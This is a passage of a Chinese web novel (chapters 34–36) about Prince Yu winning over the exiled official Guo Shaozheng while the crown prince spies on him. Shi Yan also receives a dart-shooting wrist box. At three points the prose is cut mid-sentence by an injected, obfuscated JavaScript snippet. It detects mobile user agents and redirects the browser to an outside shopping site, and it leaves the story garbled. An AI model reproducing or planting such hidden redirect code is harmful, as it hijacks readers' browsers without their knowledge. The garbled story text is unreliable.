一听这话身后的李为衷顿时惊道,“什么?卷云刀?原来你…江大人,就是…那个江南?”他此时此刻才把眼前人的名字,和那个曾因西湖边与玉面夫人的顽固一战而名扬四海的少侠江南联系起来。 “不然还有几个江南?”沈谛祝笑道。 李为衷不可思议地晃晃脑袋,他想象中的江少侠是个意气风发,朝气蓬勃的少年郎,而怎么也没想过会是自己在荒山上初见到的那个灰头土脸,反应愣怔的江校尉。 “李大人,我见过许多回你耍的长枪,有机会切磋。”江南脸上终于露出了一丝明亮的笑容。 李为衷一边笑着客气,一边脊背发凉地婉转相拒,他可不知道自己哪几回练长枪的时候竟一直被梁上君子偷看着却丝毫未察,更加不想被这个能与武功决顶者一战的高手切磋吊打。 “你想与他切磋,总得先有称手的兵刃吧?说吧,是还向以前一样,给你银子,你自己去挑?还是我直接赏你一把好刀?”屿王向江南道。 “属下对刀实在不擅分辨好坏,自己再去铺子里打一把平常的就是了,不用殿下另给赏钱。”江南踌躇了一下,才又道,“不过属下另有一件想要的。” “什么?我一定给你。”屿王爽朗道。 “机关盒。” “机关盒?” 石焉看着外公一本正经绑在她左手腕处的这个扁盒子,十分无奈地问道。 该盒子说大不大,说小不小,说硬不硬,说软不软。它长约两寸,质地是铜块打的,而外部又包了一层软牛皮,再以皮绳穿绑进与石焉小臂粗细相当的护腕里,就成了一个护腕机关盒。 “是啊,我老早就制作好了,就等你什么时候来徒太山,好给你呢。”肖遥海边绑边道,“可谁想到咱俩先见面是在这里,一忙这么多天,我都忘了这事儿了。好了,你试试。” 石焉举起左臂,对准桌面,右手拨动牛皮下暗藏的一处环状片簧,只听“嗖”地一声,一根细小冰针就从盒前小孔中射了出去,像钉子似的,针尖处轻松便嵌入了木制的桌案,立在桌面上微微左右摇晃。 “如何?”肖遥海颇得意道,“这里面装的,可都是你姨妈的独门暗器凤翎针。” “谢谢外公,谢谢姨妈。”石焉语气中带着几分乖顺道,“可是外公,您瞧着我可曾被伤害过?这么好的机关盒给我,只怕用不到。” “用不到最好!”肖遥海道,“之前那些人闹上门来还不算吗?也怪我对你关心疏漏了,以为你染着病,肯定不会踏出院门半步,因此尽管他们天天去闹,但有赵将军看着,我也没放在心上。赶上那两日正是试解药药性的要紧时候,我是一步也不敢离开东所。谁曾想,就这两天没回来看你,你竟就悄摸好了!” 他接着道,“这本就是给你对于一般的宵小防身用的,唯胜在速度快尔。若真遇上会武功的,你没有云翎的内力,想靠这个取人性命是不可能。不过,晃他一晃总没问题。” 石焉的脸上难得地露出了一个带有撒娇意味的笑容,那是一种被信任的至亲呵护与保护的感觉,“好,那我就戴着。” 她再三调整好片簧位置,确保不会误触后,又一次举起它,瞄向门框。 “嗖”地一声,凤翎针再次精准钉上了门框。 随后,一只白净的手覆了上去,轻轻拔出冰针,门框上便留下了一个细小的圆孔。这只手的主人将针放置眼前细看了看,赞道,“好剔透的材质,好精致的刻工。” “顾大人,你怎么来了?”石焉看着来人,尤其是他另一只手旁,还牵着一脸好奇的赵凝眸。 “今日不忙,我来看看。”顾念怀挂着得体的微笑,他自然地看向石焉手腕处多了的那个扁盒道,“肖神医这是又送了什么好东西了?” 他得知今日祖孙俩都在院中,因此特带了赵凝眸一同前来,企图以孩童的行为言语,化解他们年长者间的尴尬气氛。他并不认为自己的做法有错,也绝不担心石焉和赵家夫妇作为朝廷中人,会不理解他。他唯独有些惧怕这位身材挺拔犹不逊于自己的肖神医,江湖中人素喜快意恩仇,更何况他年轻时又是出了名的性子邪僻,如今也依旧是冷冽孤直,想让他体谅自己,可就难了。 果然肖遥海冷哼一声,坐下端起一杯热茶啜饮了起来,丝毫不打算予以回答。 石焉接过顾念怀递过来的冰针收回机关盒中,口中回答,“没什么,外公给我防身的一个机关盒。”却没顾上将桌上的那根一并收起。 “你来的正好,我有东西正要去给你。”她言语中丝毫看不出对之前闹剧的介怀,平静又宽仁,一如既往。 她刚欲伸手去拿东西,才发现左手被赵凝眸抱住了,小女孩正忙碌地对着那个机关盒左右瞧个不停,石焉叮嘱其看看可以,切不可对着人乱按乱拉后,便也随着她去。 她用右手拿出随记里夹在尾页的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253673|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一叠文卷,徐徐铺开道,“病人体质不同,对解药的适应程度便也不同,有服用了之后像凝眸这般三四天即好的,也有像裘氏之子那样反复发作,过半月数个周期下去才好的。我大致按常谓的平和、气虚、湿热、阳虚、阴虚等体质,列了九种不同的药方,除了各自在解药的基础上又加减了些药材之外,还注明了不同的服用时间及熬煮方法。” 她停下来,单手将文卷重新卷好,递给顾念怀,继续道,“按照兄长之命,益州大疫要毕于三月内,如今过去了一个半月,四个所都已经步入正轨了,剩下的我亦有把握在一个月内结束。只是京城旁的乐进夔,那里没有懂蛊之人,更没有懂得解蛊之人,只怕还是一团乱局。我想请兄长速速派人把我们的方子先送至乐进夔,解燃眉之急。” “你放心,这个事我会呈报给殿下的。”顾念怀收好文卷道。 石焉曾自他口中得知,他们找到了郭大人。而从自己染病那日以来,每三日一见之令就取消了,她猜测屿王那边应该正是在忙于这件事情。因此虽不能亲自面见屿王,但是有关解药的一切事宜她已都详细笔述在了纸上,应当不至于再有什么差错,便点了点头,不再多话。 赵凝眸想留在石焉的院中玩耍,顾念怀又向肖遥海寒暄几句于是自己先离开了。深秋天寒,草木凋疏,石焉略略送其出府,随行又叮嘱了些需注意的事后,遂回院带着外公与赵凝眸一并转身进了内室躲冷。刺骨一阵风起,落叶漫天飘黄,她便没看见那一排劲深马蹄踏出的有力铁印,并不是去往出城的方向。 “一匹马?” 屿王奇道,“你想要的赏赐就是一匹马?” “这次遇上决口,要不是汗血宝马跑得快,我们逃脱不了。”江南认真道,“这马当真是宝贵,我在黑夜里观察过,它的毛发依然锃亮非同寻常……” “罢了罢了,不就是一匹马吗?”屿王边笑他没出息,边道,“如今随队来益州的汗血宝马,还有一匹黑的,就赐予你了。” “谢殿下。”他脸上的表情立刻从难为情变得笑逐颜开,江南也说不清自己是为了什么,但总之就是开心得紧。 大帐所在的地方是城外附近的一片荒地,走出帐外,就可遥遥见到益州的城门,这里是南疆关塞。九月初,他们刚来的时候,还对于这样以黄土堆起来的沙地感到不适应,如今倒是正好应了金秋十月的景。远处的夕阳渐渐落于宽阔河面,更洒得入目皆是一片金黄。连江南这样未曾读过书的人都能吟上一句王维的“大漠孤烟直,长河落日圆。” “对吗殿下?”此刻江南随屿王独自走出营帐,沿着无人的路,走去一处约定好的地方,他不确定自己诗句背得对不对,赶紧问道。 两人的影子在地面被拖得很长,他习惯走在屿王的侧后方,自己的影子就会更长,像他天生的职责,护住另一条影子一样。 “哈哈哈!对!”沈谛祝此刻也丝毫不吝啬自己的肯定,哈哈大笑道。 两人一路往夕阳的尽头走去,终于在远处近江的一座亭子里,看见了早已等候在那的两人。那两人一立一坐,站着的那个一身将军盔甲,身姿挺拔,帽羽轻扬,看见他们后,便即刻跪地行礼,大声道, “属下参见殿下。” 34. 第六章第一节 二人加快了些步伐,屿王的目光在看到亭中时骤然冷峻下来,他直直地盯着那道跪在地上的身影,并不扶起此人,只是踱步略过了他后,方才停在栏杆处,远眺着江面,静静听了一会风声,随后淡淡说了一句,“本殿还以为你不是我的下属了呢。” 那人大惊失色,忙跪着转过身来,向屿王叩首道,“殿下恕罪!末将愿自请三十棍,请殿下责罚!” “你罪在何处?” “末将当日对发生的事情实在不知情!末将以为您仍在益州外指挥治疫一事,不知殿下竟亲涉险境,还到了决口地带。如此危险,若末将知道,必定立刻带兵前来护卫殿下安全!” “很好,看来你仍然没意识到真正的问题!”屿王猛地转回身,怒视着地上的人。 他的语气满是失望与愤怒,“王将军,本殿从未因你的不知情而未能及时赶来保护我而生气。你居然会如此想,究竟是你看错了本殿,还是本殿当年看错了你。” “末将…末将…” 那人正是坐镇青州的王将军,他此刻满面惶恐,完全不知该如何应对,只得结结巴巴地重复着自称。 “本殿告诉你罪在何处。”屿王的眉头已深深拧在了一处,“你的罪与本殿无关,与郭大人无关,与这些事都无关!你罪在邻城地界的河段决口,却无动于衷!你罪在旁观着南郡官兵忙于筑竣救灾却不予以支援!你罪在年复一年只守着你青州的地界安于一隅,以致长河决口数次渐成巨大水患南郡不报你也不报!” 一番话毕,王将军已深深把脸埋在地上不敢抬头,他听着屿王的声音再次在头顶响起: “若非这次叫郭大人和江校尉赶上了,恐怕本殿永远都不会知道这里的百姓在过着什么样担惊受怕的日子!” “王将军,”他顿了顿喘了口气,稍稍放缓些语气又道,“小时候在宫里,你是陪诸皇子练武的大哥哥,太子比我大上许多,也比你要大上几岁,他总是欺负你,所以其他的兄弟也并不如何尊重你,但我是如何对你的,你可还记得?” “那时太子总殴打末将出气,只有殿下护着我,还赐我最好的药。殿下大恩,末将从不敢忘,当年说的以命相酬,现在也依然记得!” “我知道你记得,也信你的忠心,所以你是头几个知道我要与太子争储的人。我也明白告诉过你,我心里的大业。”屿王蹲下身子,看着眼前仍磕头在地的人,一手搭在他的肩膀上,继续道,“后来你一路成为将军,镇守一方平安,原该是很了不得的事情。不知是不是太过舒坦的日子反而让你没了当年的锐气,我从未想过我看中的人竟然是个循规蹈矩,甘于平庸之辈。” “或者说,”屿王站起来换了副姿势,居高临下地看着他,“是你眼中本殿这些年的表现太过平凡,所以你觉得我与太子之争已无希望,便不愿再继续为本殿尽心,只想着敷衍余生了。” “不!不是的!殿下,属下知错了。”王将军抬起眼来,他羞愧道,“殿下洞若观火,我承认,这几年我懒怠了许多,也麻木了许多,我变得和那些当年自己最瞧不起的尸位素餐者一样,浑浑噩噩,不思进取。即便我非常痛恨这样的自己,但却一天拖着一天不做任何改变。幸亏今日得见殿下,属下看到殿下仍然像当年一样意气风发,壮志未改,属下既惭愧的无地自容,却又发自内心的高兴,高兴殿下还是那个殿下。我这回真的知道自己罪在何处了!请殿下赏我三十鞭子也好,木棍也罢!打完之后,属下一定痛改前非,殿下所向,属下奉陪到底!” 他言辞动容,话里尽是真心实意。而就在半个月前,他还浑然不知屿王一行,就在离青州不过半日路程的荒山上几近崩溃。 亭中有“啪”,“啪”,“啪”的鼓掌声响起,一直坐在角落的另一人拍了拍手,他始终旁观似地看着这一切,直到尘埃落定,才微笑着道,“屿王殿下御下有方,严慈相济,郭某佩服。” “郭大人。”屿王这时才表现得仿佛刚刚意识到另一人的存在,他急忙转向郭少征,欠身见礼道,“晚辈大放厥词了,您见笑。” “哪里,殿下一番言语,叫老夫受教匪浅。”郭少征面带微笑,他心知肚明屿王刚刚的一番话,分明是故意为了给自己听到,好叫他知晓其心怀百姓,相信其值得扶助。 这边屿王遂领了王将军起身,而后对其道,“这次我叫你只身来益州,当然不是只为了叫你来复命,而是为了接下来有要事相商。我向来坚信用人不疑,疑人不用,因此让你在不许被别人发现的前提下,从郭大人休息的营帐里把他接出来此处,便是想考验看看,你一身功夫有没有忘本,还是否担得起我最相信的属将。好在还算争气,三十棍子你自己回青州后再打吧!” “是!殿下帐中尽是精英,如果不是殿下带着江校尉离帐在明,给末将在暗中争取了机会,又有李典军掩护一二,恐怕也不会这么顺利。” “好了,且不说这些。”屿王正色道,“今日费这么大周折,不惜劳动郭大人尚未完全痊愈的身体出来,正是为了一件在帐中不便畅谈,然而却极要紧的事。江南。”他对江南扬了扬下巴,“守好四周,今日谈话结束之前,这亭子的方圆三里,不许再有第五个人。” “是。”江南如今身体虽未完全大好,但自不必时时担心饿得眼冒金星以来,在重拾了充分体力的基础上,至少他的觉察与洞悉能力已经恢复如初了。 他领命后背过身去,快走几步迈下台阶。在他身后,是这座不大的江畔亭阁,即将沉没的巨轮余晖把亭里三个人的脸上都映衬得红红的,那里的空气中似乎都浮现着郑重严肃与感慨激昂,而再远处,则是宽阔的江与暗涌的风。 他静静立在离亭子几步之遥的外围,仔细聆听着周围风声里掺杂的一举一动。 亭内,郭少征也收敛了笑意,严肃道,“殿下想谈什么,老夫心中清楚。今日不妨也给殿下交一句实话。” “老夫愿意追随殿下。” 沈谛祝听到这话,脸上的表情是无法掩饰的巨大惊讶与喜悦,他准备好的一大段说辞,眼下一句都还未说出口,甚至他刚刚借王将军一事而宣之于口的那一番言论,充其量只能算个引入。可事情,竟然就这么成了。 “您…”屿王筹措了半天,却还是不知如何能把自己想问的句子说出口。 为什么选择我? 郭少征却一眼看穿了似的,他淡淡道,“因为你的校尉,江南。” “你说谁?!” 与此同时京城 太子斜倚在一把软塌上,看着眼前来报信的小厮,他向前倾下身子,再次问道,“你确定是屿王?他亲自带队出去了?” “是,小的亲眼所见。” “竟然只带了五十人就敢离开营帐,还不惜涉险进入决口地段一路寻索。”太子的眼神上下打量着,看得那小厮不寒而栗,然而他并非想从那小厮身上得到什么答案,他只是猜测的兴致盎然,“什么东西?能让他亲自去找?” “正是呢,小的也不知是什么要紧东西竟让七殿下亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253674|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找。而且这一路,他们不进客栈,不绕大路,尽走那直通直达的山路,晚上也凑合睡在荒地里,瞧着很是紧张、赶时间的样子。” “那他路上可曾问过什么人,打听过什么消息?” “没有。”小厮道,“不过,中间到了南郡一带、临近城门的时候,队伍明显放慢了速度,而没过一会,又突然快起来了,倒没进城,而是走了一条城外的土路。” “笨蛋,队伍放慢速度就是为了拖住你们手脚,必有斥候单骑已先行去向城门看守打探消息了!” “殿下息怒!兄弟们过后马上去了城门下询问,刚刚有没有穿着官衣的大人来打听什么事情,看守却都说并没有,这…” 半个月前南郡城门外 沈谛祝曾悄悄吩咐李为衷,命他独自乔装改扮,先行快马往前,在不要透露身份,更不要以屿王府之名义的前提下,旁敲侧击,多拐几个弯地,向城门侍卫打探消息。 “那您呢?” “我自会在后面勒马缓行,队伍也会随我一起。只要我们在这里,那些尾巴就会跟在后面,只有挡住这些尾巴,才能给你摆脱监视的机会。你只管听我的,以最快速度去就是了。” 太子深深喘了口气,他压低着声音,克制着怒气道,“那是因为老七身边的人不会傻到穿着官衣去问,更加不会傻到像你们一样,直愣愣把自己想打听的事情劈头盖脸就这么直接问出来!”他的语气急转直上后,又一下子落了下来,带着抹鄙夷的嘲讽,他继续道,“拐弯抹角,旁敲侧击,老七一向喜欢用这些手段达到目的。到底是从小不得父皇宠爱。直接开口要果子的法子,他倒不习惯,也没这个资格。” 底下跪着的那人已经出了一头的虚汗,手掌下也将地面捂出了一圈雾气。他不敢开口说话,又听得头顶上方太子的声音道: “你可曾发觉,他们找的到底是东西,还是人?” “小的觉得不是人,是东西。”他赶紧应道,“小的之所以这么判断,是因为直到了接近青州外的决口河段,他们就不再赶路了。而是开始或划着筏子,或干脆人扎进淤泥里,不停打捞着什么,若找的是人的话…能在水里泥里的…难不成还是死人……后来,后来像是并没有找到似的,就又上了一座荒山,去那山上找。” “然后呢?”太子注视着他,冷冷问道。 “然后…”小厮咽了口口水,“山下因为积水太过…四周都成了湖泊…所以只能划着筏子跟着,我们已是无处隐藏…其实他们都发现我们了…山上又过于荒芜,乱棘丛生…远几步就只能被杂草和树木挡住,什么都看不见了,加上他们提防着厉害…实在…实在是不便跟的更近,”他急于为自己辩解似的,赶忙又补上一句“后来他们自己人下山时都有两个受了伤,要靠背着才行呢。”,随后才又接着说下去,“所以…所以兄弟几个怕跟上了山去反而会被乱枝迷眼,也怕是他们使的计策要利用荒山甩丢下我们,加上他们专门留了几个人分别在几个口子守着,实在无法跟进山里去,便在山脚找了个隐秘处蹲守等候着…守株待兔。不过没多会儿,也就一个时辰不到,他们就下来了,估摸着应该是找到了,否则要搜一座荒山,一个时辰肯定是不够的。小的瞧着他们身上倒是没多出来什么大件儿,因此应该是个小的物什儿。” “你说他们有两个人受了伤?” 房间内突然有第三个人的声音传来,小厮吓了一跳,他这才发现在太子身侧东南向的斜后方,那被阴影笼罩的角落里,还一直站着第三人。 35. 第六章第二节 像是黑暗里的斗兽突然被拎到了明处。 似是听到了自己的名字,江南回过头去看了看,那三人犹自还在谈他们的,他只好转回身来,硬着头皮呆在原地,任由那些话语钻进他的耳朵里。 “我的…校尉?”得到了答案的屿王,显然比刚才更要错愕。 “我说过,山林里面无衣无食整整九日,若不是江小兄弟,我早死了。”郭少征淡淡道,“也不只是为着救命之恩,更难得的是,他有一副纯良心肠,在那样极端的险境里,强者有着天然的优势,即便是抛弃弱者,也不会有人从世俗规则上谴责一二。可他每每总是先顾念好我的安危,再去考虑自己。这一点,世间能做到的,已是少数。即便有,也多或是为了至亲血缘,或是为了至爱伴侣。然则我对于他,不过一介连累其的陌生人,更何况我丢了述罪书,叫他也无法向殿下交差。他竟仍旧坚守着道义本心,实在可贵。并且我知道,他从小失去父母,那么他能成长得如此具有侠义之气,甚至有些稚拙之心在身上,想必是殿下教养所得。因此我才改变了对殿下的偏见,愿意选择殿下。” 江南远远听着,他背对亭子站立在风中,浑身都僵住了,根本不敢回过身去,那三人因此并未瞧见他此刻的表情。 他自己都未曾察觉,骨子里的奴性与卑心却已经深植进了根本,先一步替他在肢体和心理上做出了反应。 听到如此褒奖之语,他完全没感到骄傲,也完全未想到要去屿王面前邀功,而是十分失措。他双手攥紧了,彷徨地上下搓捏着束紧的袖口,头也跟着不自觉低了下来,一时之间愧得有些无地自容。 江南心中难安不已,郭大人风光霁月,把自己说得如此忠直,然而若他知道自己干过多少肮脏事,身上背了多少人命干系,会不会失望透顶?到时候会不会连累对殿下也一并失了望拂袖而去? 转而又想到他口中提到自己的父母。 大约是在山上的第五六日,他习惯性地咬着手里的一截长草,靠坐在树下无所事事,郭少征就那样突然地问了出来: “你是不是很小就离开了母亲?” “您怎么知道?”他惊道,“我无父无母,是和师父与殿下一块儿过的。” “你在发愣的时候,总是不自觉地咬东西,要不是木枝,要不是草叶,这是从小缺奶喝的孩子才会表露出来的习惯。” 郭少征的声音一向是透露着他的见识与阅历的。此刻他薄身立在亭中,一袭长衫落地,脊梁竖立,风骨出尘。 “老夫已经年近六旬,历仕两代三主,先皇在时,任我为兵部尚书兼枢密使,那时我不过二十五,先皇奖我为佐命之臣,赐铁券,恕十死!” 郭少征直直看向沈谛祝,咬牙悲痛着,“然而十年前,皇后、太子、和当今皇上身边的首领太监联手以莫须有之罪构陷于我,一朝换代,功赏全消,铁券何用?恕十死何用?我的五个孩子全部被铁棍打死!屿王殿下,老夫倒要问问你——” 沈谛祝郑重听着,他本以为郭少征接下来定要问他: “跟随你,你又能给老夫什么?” “报该报之仇,复应赏之赏。” 他定会这样答。 他早就想好了。 “手刃仇人,为亲雪恨。重授郡公高爵,另赏食邑千户。听说郭家还有两个孙子幸存在外,也一并全力寻回,迎入宫中教养……” “跟随你,你又能为天下做到哪一分?” 郭少征的话打断了他的假想。 他与王将军一并震撼地看着眼前长者,心里感愧万分。他竟丝毫不问私利,全心只问谁主江山这件大事的本身初衷。 沈谛祝认真想了想,然后道,“晚辈儿时读《礼记》,大道之行也,天下为公。选贤与能,讲信修睦,故人不独亲其亲,不独子其子,使老有所终,壮有所用,幼有所长,鳏寡孤独废疾者皆有所养,男有分,女有归。是故谋闭而不兴,盗窃乱贼而不作,故外户而不闭,是谓大同。晚辈向往的国邦得治,就是如此。其后又云:城郭沟池以为固,礼义以为纪。以正君臣,以笃父子,以睦兄弟,以和夫妇,以设制度,以立田里,以贤勇知,以功为己。禹、汤、文、武、成王、周公,由此其选也。此六君子者,未有不谨于礼者也。晚辈志中的帝王,便是如此。晚辈愿效六位君子,有几分,就做到几分。” 人在立志之时,往往是怀着极度激动与热诚的心怀,此刻沈谛祝的赤子雄心,让他自己都全盘相信,从前的许多事,连带往后的许多事,他都做到了,或者能做到,自己所有的全部。 他的话字字恳切,一粒一粒地,砸在听者的心上,重重地圈起了一层层涟漪,让在场的另外三人,也心如擂鼓。 胸腔里的震声咚咚直响,似乎要鼓出来砸穿地板。 小厮跪在地上,心里的害怕与恐惧变得更甚,他被这突如其来的陌生说话声吓得不浅,此刻就如惊弓之鸟一般。 阴影里那人的声音淡淡地传入他的耳朵,十分婉转动听,不看人便能想象到是张温柔的面孔,虽是男声,他却凭白想到了戏班子里的“弄假妇人”。 然而他不敢去猜测那人藏于角落的原因,丝毫不敢抬头,也不敢露出半分轻视与鄙睨,更加不敢去张望那人的模样。反而觉得是自己不该探到了什么了不得的秘密,因此把头伏得更低,身子也抖得更加厉害。 他瑟缩着回道,“是,屿王倒是没事儿,受伤的是两个小兵。” 那人也不知为什么紧抓着这一点不放,追问道,“你在他们上下山前,可曾数过人数?” “数过数过!小的愚蠢,第一次城门口的打听确实失了章法,若那时数数人数,就能发现少了一人去打听消息。所以后面在山下小的特地数了!除去屿王和李典军,上山前五十人,下山时还是五十人,没多也没少。” “屿王走后可还有其他人下山?” “应该没有。您…是怀疑他们找的是人吗?小的就等在山下,屿王一行之后再无人上山。若说在他们之前,那里可是决口地带,大水把路都灌了,要来这座山上还得划筏子,自然是千难万难不说,还会引人注意;要说洪水之前就来的,那这人无法预料决口必不会带足够的吃喝,这都九天多了,更加不可能。” “如果是他的话,就有可能。” 那人轻轻呢喃了一句,随后向太子道,“殿下,容属下再问个问题。”他静静等太子允准了,再次向小厮问道,“屿王的左右近卫中,可有一年轻男子,看上去大约二十,身材瘦高,背一把长刀?” 小厮越来越疑惑,这仿佛和他们此刻探讨的事情并不相关。“若说屿王的贴身近卫,只有一位典军大人,就是李为衷李大人。可他看上去都快三十了,也不用长刀啊……至于队伍里的其他人,都长得差不多…年纪估摸着都是二十上下,身材也都一溜的瘦高…但并没有谁是背长刀的…” “山上受伤的那两位,身上也没多出一柄长刀吗?” “没有,确实没有。” “你怀疑他们是在找这个背长刀的人?”太子向那人问道。 “属下不敢确定。若他在队伍里,也多半是走在暗中保护屿王的,不会在这五十人的队伍里,咱们的人没发现,也属正常。” 太子摩了摩手心,交叉双掌撑于下颌处,然后继续向小厮问道,“除此之外,七弟这段时间还做什么了?” “都在这里了,殿下。”那小厮低着头,跪着挪动几步,双手呈上了一封书信,正是他自己根据两个月来的监视而记录整理下的屿王行程。 太子拎起信件的一端,使劲抖了抖,长长的纸张便竖着展落开来,他眯着眼,细细看向其上密密麻麻的文字。 窸窸窣窣的声音从手掌间传来,是纸张在指间摩擦的声音,这双手折叠起面前写满了黑字的白纸,深深呼了口气。 “殿下?” “留两个人,把这封东西送去青州,亲自交到王将军手里。” 那是半个月前,决口处的荒山。 屿王率众人接了江南与郭少征在回程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“最近屿王殿下在益州治疫,你们都知道吧?这是特许通关令函。”他把手中一封知州亲提的公函递给对方,自然地说道,“长河决口那天有一位校尉偕同一位大夫来咱们青州购买紧缺药材,是殿下所派,这函本该在他们进城前就先给你们的,只是一时事忙又兼大水给忘了。不过无妨,你们那日查了人家的马车也就查了,例行公事嘛。出去时直接放行就好了啊,别再查了。” “是,是,是。”那头领嘴上应得飞快,眼珠子滴溜溜地转,怎么也想不起那日有这样的两个人驾车入城。他当下也不敢多说,心里以为定是决口当日附近州城忙乱,许多百姓皆来青州暂避,自己便粗心大意,没注意到时进去的,不过现在倒是正好,本来这辆马车就是不许查的嘛。 青州虽仅有南郡一半之大,但它是从瑶疆往中原路上的第一个较为繁华的州城,因此南郡以南仍然是山水多过人烟,马车十分少见,而从青州开始,便是遍地商贾,车驾通行的了。这守城门的士兵,一日要放十多辆马车出入城门,疏忽了哪一辆,虽算失职,却也再正常不过了。此刻有知州特批令函,他自然满口的答应,生怕叫人发现自己的玩忽职守。 其二,遣二人着一官一医的打扮,于青州内载够五十钧药材,光明正大赶回益州。 “亲眼所见?如何亲眼所见的?”太子觉得事有蹊跷,他此刻也开始相信屿王一行找的其实是人的说法了,于是他仔仔细细问道。 “那青州里的大小药坊、济堂,全都说店里前几日来了两位大人买了大量的药。由于是益州来的,虽明知他们身上定是没病的,却还是免不了心里发怵,因此留下了极深的印象。一位穿着玄色官服,一位打扮大夫模样,说得有鼻子有眼,不像是编出来的。且我们套话专门看了他们付钱时的银子,买空了半个铺子,用的确是官银。” “客官看看要点什么?”青州城中半个月前的几乎所有药材铺子内,一日之内先后都出现了这样的对话。 “掌柜,把店里现有的所有助于消瘴驱疫的药材全部包给我。我都要了。” 不出几日,一辆满载药材的马车,前头坐着一官一医两位大人,离城而去。而出城之时,城门大开,无人近检,守卫目送着,直到身影渐小渐远至看不见,只留下地上两条深深的车辙印。 其三,一切事毕后,请王将军亲来益州向本殿复命。 “今日殿下既然特请了王将军前来,那么就请他一并做个见证。”郭少征听完屿王的一番话,点点头道。 他看着眼前的年轻人,再次开了口: “望殿下永远记住今日肺腑之言,谋江山,不为疆权横图,而为时代,而为千古。” 36. 第六章第三节 “按照你单子上所说,屿王在出发寻人之前,短短几天之内,曾先后派出去了几百人之多,奔赴数座州城采买药材,甚至这其中还不包括九顷水帮的那几条船。” 太子的手指按照从左到右的顺序,似在数数般,依次划过纸上所注的几列日期,然后道,“那么去青州的那两个人都买了什么药材?和另外派出去的那几百人,买的可是同几种药材?他们是否研制出了治疫有用的方子?” 而他每多问一句,地上的小厮就更恐惧一分,生怕他问出什么自己没准备到的问题。 他颤悠着答道,“这两人买的都是一些普通治疫驱瘴的药材,在屿王刚到益州的时候,青州也是送过这些药的,小的以为应该是补足益州的库存。至于和旁的赴其他州城之人买的是否相同,小的也不敢确定。虽然…虽然咱们潜伏在屿王府的眼线,这次都被派在了外围购药运输一事上,但也正因如此,才无法渗透进那五十人的队伍里去,探听进一步的情报。而兄弟们彼此之间又都跟着不同的队伍去了不同的城州采买,互相之间并不能及时通传,所以…所以目前还不知道。而且…屿王的人行事很有一套章法,他们把各条路线划好之后,就给各人都分定了岗位,采买的便永远只管在那头采买,连运回的事儿都插不上手,因此就更不知道另外那条路线是买的什么药了。” “这么说来,药方未知。”太子又将手指划过剩余的字目,而后缓缓读道,“益州城内状况,未知。” 那小厮听到这里,狠狠打了一个寒栗,赶紧接口道,“是…是,益州的赵将军将城门看得似禁城一座,只有一个顾大人能进出,但他向屿王报些什么,兄弟们实在打听不到啊。” 太子看向他的眼神越发阴恻,他不发一言,将手中信纸仔细叠好,而后双指一夹,丢去了脚边地上。随后他将手悬空覆上身旁的一盏烛火,似在玩弄那光辉落于指缝的影子,唇边轻轻漏出一句,“吃了它,下去吧。” 小厮如获大赦,慌忙扑去纸边,狼吞虎咽般地将纸和着地上的灰尘一并咽下,然后磕了几个响头,连滚带爬跑出去了。 “太子生性阴狠,治下残忍,故其不得人心,只得畏威。”郭少征负手说道。 “大人见地清楚。” “我身受其害,如何会不清楚。” “是晚辈来接大人得太晚,否则也不至于大人空握一纸述罪书,又空待益州草房十年之久。”屿王道,“但也幸亏无人知晓大人有这样一纸文书,否则太子那边,必不会放过大人。” “说到这我倒想知道,殿下你,又是如何知道我手里有这东西的呢?” “本不知道的。” 屿王这话倒是实话,他若是知道郭少征手里有这样一卷好东西,也不会对来益州治疫而犹豫再三了。回想当日沈妙常给他的飞鸽传书,他如今只觉得连老天都在帮忙。 郭少征发配益州是当年皇帝亲命人尽皆知,他身上有着旷世的军事奇才沈谛祝也心中清楚,而赵将军亦是镇守一方边境的大将,若能把这两个人收入囊中,在他日后夺位的凶险之路上,自当是大有助益。 然而彼时沈妙常也好,他也好,都不知道郭少征手中还握有一叠能治罪太子的述罪书。因此沈妙常只是纯粹以两人之才劝己前来益州,目的在于帮助边城百姓取得一线生机。而他则是在衡量,能否收服这两人的把握,与牵扯进益州这一桩麻烦之间的利弊,到底孰大孰小。 然而一切的权衡与计算,都在他来到益州后,而烟消云散了。 他遂微笑着侃侃道,“晚辈听闻益州大疫,除了百姓安危外,我首先想到的,就是大人您被流放所到之地正是益州,生怕您染上时疫,恐有大碍。于是来此之后,我与赵将军见面,他曾说,自您流放益州的头两年,总有人制造各种意外想置您于死地,直到他掩护您数次更换居处,才终于得以摆脱。而后来您却对他说,既然麻烦不再找上门来,最好他也别再知道您的安身之所,才是两相得益的最好法子。于是您再次默默搬迁,连他也没有告诉。” 